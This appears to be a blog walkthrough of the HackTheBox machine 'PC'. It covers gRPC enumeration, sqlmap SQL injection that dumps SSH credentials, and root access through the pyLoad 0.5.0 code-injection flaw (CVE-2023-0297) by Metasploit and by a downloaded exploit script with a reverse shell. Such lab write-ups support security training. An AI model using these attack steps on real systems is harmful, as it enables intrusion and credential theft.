Post

HackTheBox | PC

Writeup of an easy-rated Linux machine from HackTheBox


PC is a vulnerable machine from HackTheBox, featuring a gRPC endpoint that is hosting a 'SimpleApp' service with a method vulnerable to SQL Injection vulnerability. Upon successfully exploiting this service, I dumped valid SSH credentials and gained access to the box. Once in, an internal HTTP service running, with elevated privileges, a vulnerable version of pyLoad 0.5.0 (CVE-2023-0297) is discovered, which exposes a Code Injection vulnerability. As the service is run by root, I elevated my privileges on the box, upon the successful exploitation of this vulnerability, with and without Metasploit.

Recon


Initial Scanning

Initial nmap scan:

1
2
3
4
5
6
7
8
9
10
11
nmap -sC -sV -T4 -oN nmap/nmap.initial 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.20s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap found only 1 open port:

  • Port 22 running OpenSSH 8.2p1.

Full Scan

Full nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
nmap -p- -T4 10.10.11.214
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 63
50051/tcp open  unknown syn-ack ttl 63

nmap -sC -sV -p22,50051 -oN nmap/full-scan 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.096s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.94%I=7%D=8/19%Time=64E0D524%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
[...SNIP...]
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Nmap found an unknown service running on port 50051

Service Enumeration

SSH - 22:

I’ll temporarily suspend the enumeration of this service, just in case I don’t discover any valuable information that could help establish an initial foothold on the other service.

TCP - 50051:

Connection via netcat:

Connecting to port 50051 using netcat:

1
2
$ nc 10.10.11.214 50051
???
  • Entering random data after ??? will result in closing the connection.
Timeout error message:

Causing Timeout:

1
2
$ nc 10.10.11.214 50051
???@Did not receive HTTP/2 settings before handshake timeout
  • This error suggests that a client attempted to establish a connection with a server using the HTTP/2 protocol, but the initial settings from the HTTP/2 communication were not received from the server within a specified timeout period.

Connection via telnet:

Connecting to port 50051 using telnet:

1
2
3
4
5
6
$ telnet 10.10.11.214 50051
Trying 10.10.11.214...
Connected to 10.10.11.214.
Escape character is '^]'.
???HELLO
Connection closed by foreign host.
  • After entering HELLO, the connection is closed !!

gRPC server:

After Googling the timeout error message, I found out that the running service is a gRPC server, which is a component that implements and exposes remote procedures and services using the gRPC framework.

gRPC Remote Procedure Call is an open-source framework developed by Google that facilitates efficient and secure communication between distributed systems. The primary purpose of a gRPC server is to provide a mechanism for different software components, services or applications to communication with each other over a network.

  • Port 50051 is often used as common default port for gRPC services during development or examples, but in a production environment or a real-world scenario, the port number for gRPC service can be configured to any available port number.

Interacting with a gRPC service:

grpcurl:

grpcurl is a command-line utility, like cURL, which can be used to interact with a gRPC server.


Installation of grpcurl:
1- Download this into you kali machine using wget
2- Decompress the downloaded archive :

1
$ tar -zxvf <.tar.gz file>

3- Create a soft link to the binary ‘/opt/gRCP-Tools/grpcurl’:

1
$ ln -sf /opt/gRCP-Tools/grpcurl /bin/grpcurl

4- Display the help menu:

1
$ grpcurl --help

To list all exposed services, we could use the list option along with the --plaintext flag to use plaintext HTTP/2 when connection to the server (No TLS)

1
2
3
$ grpcurl --plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
  • As can be seen from the result, there is a SimpleApp service running.

We can list out the methods of this service SimpleApp, by running the command:

1
2
3
4
$ grpcurl --plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
  • As can be seen, there are 3 methods that can be used to interact with this service.

We can also get a small description of each method by issuing the command:

1
2
3
4
5
6
7
$ grpcurl --plaintext 10.10.11.214:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

grpcui:

grpcui is an interactive web User Interface for gRPC services. This tool gives you a WebUI to access and interact with the backend gRPC application.


Installation of grpcui:
1- Download this into you kali machine using wget
2- Decompress the downloaded archive :

1
$ tar -zxvf <.tar.gz file>

3- Create a soft link to the binary ‘/opt/gRCP-Tools/grpcurl’:

1
$ ln -sf /opt/gRCP-Tools/grpcui /bin/grpcui

4- Display the help menu:

1
$ grpcui --help

To initiate a UI portal to access and interact with the gRPC service SimpleApp, we can issue the command below:

1
2
$ grpcui --plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:41227/
  • Now, you can access the gRPC web UI at http://127.0.0.1:41227 (URL from the output)

gRPC Web UI


  • The Method name contain the service functionalities we dumped using grpcurl:

Listing available methods


We can perform the actions below:
1- Logging in:

LoginUser


2- Register for a new account

RegisterUser


3- Get information on a specific user via ID:

getInfo


Testing the service's methods:

Login:

  • I was able to log in successfully using the credentials admin:admin, as can be seen in the figure below:

Login Request/Response


SQLite Error:

After some manual testing on the login functionality, I noticed that a SQLite error is triggered upon sending the following request:

Request Triggering the SQLite Error


  • Response:

SQLite Error Message


  • With this in mind, we could try to fuzz all user-input entries to test for SQL injection vulnerability.

RegisterUser:

The RegistrationUser method, takes as input the username and password.
When the credentials are provide, the service checks if the provided username does not already exist on the database:

Username already exists


This endpoint could be used to perform Username Enumeration.

getInfo:

The getInfo method requires an id to be entered by the user as well as a token (The token returned by the application after successful login)
I tried adding the token header as an HTTP header, but the same error message is returned.

Authorization Error Message


Token header:

After some time trying to figure out the solution of this token-related proble, I checked grpcui’s help menu and I found out that there is an option responsible of specifying RPC headers (-req-header).
With that in mind, I issued the command below:

1
2
3
$ grpcui --plaintext -rpc-header 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTI1MDEwMjl9.wBwqQMzLcUsju7k8DJPhrSda3HZdU9qReVt2jV4mmPU' 10.10.11.214:50051        

gRPC Web UI available at http://127.0.0.1:46133/

After navigating to the provided URL and selecting the getInfo method, I got a different error message, which means that the token has been accepted by the service:

Token-related problem is solved


  • This error message implies that there is a data type error in the request we sent, which is odd because the input the user is required to provide should be an integer. However, the service says that we need to enter a string datatype value in the id field.

Initial Foothold


Shell as sau

Exploiting a SQLi vulnerability:

SQLmap:

After noticing this datatype problem in the getInfo method, I though maybe there is some kind of SQL injection vulnerability if the backend SQL query is not implemented with security in mind.
With that said, I saved the following request to a file named getinfo.req and ran the sqlmap command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ cat getinfo.req
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:46133
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: DqlWHzIFYTGzqX9ofxQGLpBP1iR_kCFVquAblo8VfEA
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://127.0.0.1:46133
Connection: close
Referer: http://127.0.0.1:46133/
Cookie: _grpcui_csrf_token=DqlWHzIFYTGzqX9ofxQGLpBP1iR_kCFVquAblo8VfEA
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[],"data":[{"id":"*"}]}

Note the asterisk character ‘*’ in the id data field.

1
sqlmap -r getinfo.req --threads=4 --risk=3 --level=5 --dbms=sqlite3 --batch

As can be seen in the figure below, the ‘id’ parameter is vulnerable to Time-based and Boolean-based SQL Injection:

'id' parameter is vulnerable to SQL Injection


I used the --dbms=sqlite3 option, because I assumed that the backed database should be a SQLite database, because of the error message I encountered earlier.

Enumerating the database:

  • Enumerating the tables:
1
2
3
4
5
6
7
8
9
10
11
$ sqlmap -r getinfo.req --threads=4 --risk=3 --level=5 --batch --tables

<...SNIP...>

[20:57:24] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[2 tables]
+----------+
| accounts |
| messages |
+----------+
  • Enumerating columns of the table ‘accounts’:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sqlmap -r getinfo.req --threads=4 --risk=3 --level=5 --batch -T accounts --columns

<...SNIP...>

[20:58:39] [INFO] fetching columns for table 'accounts' 
Database: <current>
Table: accounts
[2 columns]
+----------+------+
| Column   | Type |
+----------+------+
| password | TEXT |
| username | TEXT |
+----------+------+
  • Dumping the content of the table ‘messages
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sqlmap -r getinfo.req --threads=4 --risk=3 --level=5 --batch -T messages --dump

<...SNIP...>

[21:01:41] [INFO] fetching columns for table 'messages' 
[21:01:41] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+----+-------------------+----------+
| id | message           | username |
+----+-------------------+----------+
| 41 | Will update soon. | admin    |
+----+-------------------+----------+
  • Dumping the content of the table ‘accounts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sqlmap -r getinfo.req --threads=4 --risk=3 --level=5 --batch -T accounts --dump

<...SNIP...>

[20:59:49] [INFO] fetching columns for table 'accounts' 
[20:59:49] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+
  • We have a valid username and password, let’s test them out to SSH into the box.

SSH Access:

user.txt:

  • SSH Access:
    1
    2
    
    $ ssh sau@10.10.11.214
    Password: HereIsYourPassWord1431
    
  • Flag:

SSH as 'sau' & User Flag


Privilege Escalation


Shell as root

Enumeration:

Basic Enumeration:

  • The user sau cannot run sudo on this machine.
  • There is no binaries with SUID bit set, that would allow me to escalate privileges to root.
  • root and sau (me) are the only user with console access.

Networking:

Running the ss -lntp command, to enumerate running services, I discovered that there is an internal service running on port 9666:

1
2
3
4
5
6
7
sau@pc:~$ ss -lntp
State                 Recv-Q                Send-Q                               Local Address:Port                                  Peer Address:Port                Process                
LISTEN                0                     4096                                 127.0.0.53%lo:53                                         0.0.0.0:*                                          
LISTEN                0                     128                                        0.0.0.0:22                                         0.0.0.0:*                                          
LISTEN                0                     128                                        0.0.0.0:9666                                       0.0.0.0:*                                          
LISTEN                0                     128                                           [::]:22                                            [::]:*                                          
LISTEN                0                     4096                                             *:50051                                            *:*                            

Identifying the service:

To identify the running service, I ran the following command and got a response, which means that it’s an HTTP service:

1
2
3
4
5
6
sau@pc:~$ curl http://127.0.0.1:9666/
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A9666%2F">/login?next=http%3A%2F%2F127.0.0.1%3A9666%2F</a>. If not, click the link.

Port Forwarding:

To better interact with the internal service, it’s recommended to forward it into the attacking machine via SSH Local Port Forwarding by issuing the following command:

1
2
$ ssh -L 9666:127.0.0.1:9666 -f -N sau@10.10.11.214
sau@10.10.11.214's password: HereIsYourPassWord1431
  • This command will establish an SSH tunnel that forward traffic from the local port 9666 to port 9666 on the remote server at 10.10.11.214
  • Now, I can access the internal HTTP service from my attacking machine’s browser by navigating to http://127.0.0.1:9666

http://127.0.0.1:9666


  • As can be seen in the figure above, the internal service is running pyLoad, which is a free and opensource download manager.

Exploitation:

PyLoad version:

The running version of pyLoad is 0.5.0, which is vulnerable to Pre-Authentication RCE:

1
sau@pc:~$ pip list

'pip list' output


Exploitation using Metasploit:

The exploitation module exploit/linux/http/pyload_js2py_exec can be used to exploit this vulnerability and gain a Meterpreter session running as root on the target system:

1
2
3
4
5
msf6 > use exploit/linux/http/pyload_js2py_exec
msf6 exploit(linux/http/pyload_js2py_exec) > set RHOSTS 127.0.0.1
msf6 exploit(linux/http/pyload_js2py_exec) > set SRVHOST tun0
msf6 exploit(linux/http/pyload_js2py_exec) > set LHOST tun0
msf6 > run

Meterpreter Session running as root


Exploitation without Metasploit:

We can follow the steps below to exploit this vulnerability without relying on Metasploit:

1- Download this python script on your attacking machine

1
$ wget https://raw.githubusercontent.com/JacobEbben/CVE-2023-0297/main/exploit.py

2- Start a netcat listener on port 9999 (Or any port of your choice):

1
nc -nlvp 9999

3- Run the exploit using the following command:

1
python3 exploit.py -t http://127.0.0.1:9666 -I 10.10.14.107 -P 9999

Exploitation Successful


4- Check your netcat listener:

Root Shell


Attack Chain

  • Nmap discovered 2 open ports running on this machine:
    • Port 22 running an OpenSSH 8.2p1
    • Port 50051 running an Unknown service (A service that Nmap could not fingerprint)
  • After some manual enumeration, I found out that it’s a gRPC service, which can be interacted with using tools like grpcurl (Command-line interaction), grpcui (Gui Interaction) and of course Burpsuite & Postman. (You could learn about the different tools that can be used, here)
  • After creating a web-UI out of this service using grpcui, there is a running service called SimpleApp, which has 3 methods/functionalities: Login, Register and getInfo (of a user based on ID).
  • To interact with the getInfo method, you are required to enter the ID of the user you wants to get info of, along with the ‘Token’ header, which you can get upon successful login. However, adding the token header among other HTTP header does not work, and you need to use the -rpc-request option in the grpcui utility in order to specify the header in the format ‘Token: <token-here>
  • After some manual enumeration on the getInfo method, I noticed that the service return some verbose SQLite-related error message, from time to time, which implies the use of SQLite3 database in the backend. With that in mind, I saved the getInfo request to a file and run sqlmap to test if the id parameter is vulnerable to SQL injection, which was the case.
  • After dumping the database, I got a username and a password that I gained initial foothold on the box as the user sau.
  • Once in, there is an internal service running a vulnerable instance of pyLoad-0.5.0 on port 9666, identified as CVE-2023-0297.
  • After port forwarding the internal service locally, using SSH, I escalated my privileges to root by exploiting the service with and without Metasploit.
This post is licensed under CC BY 4.0 by the author.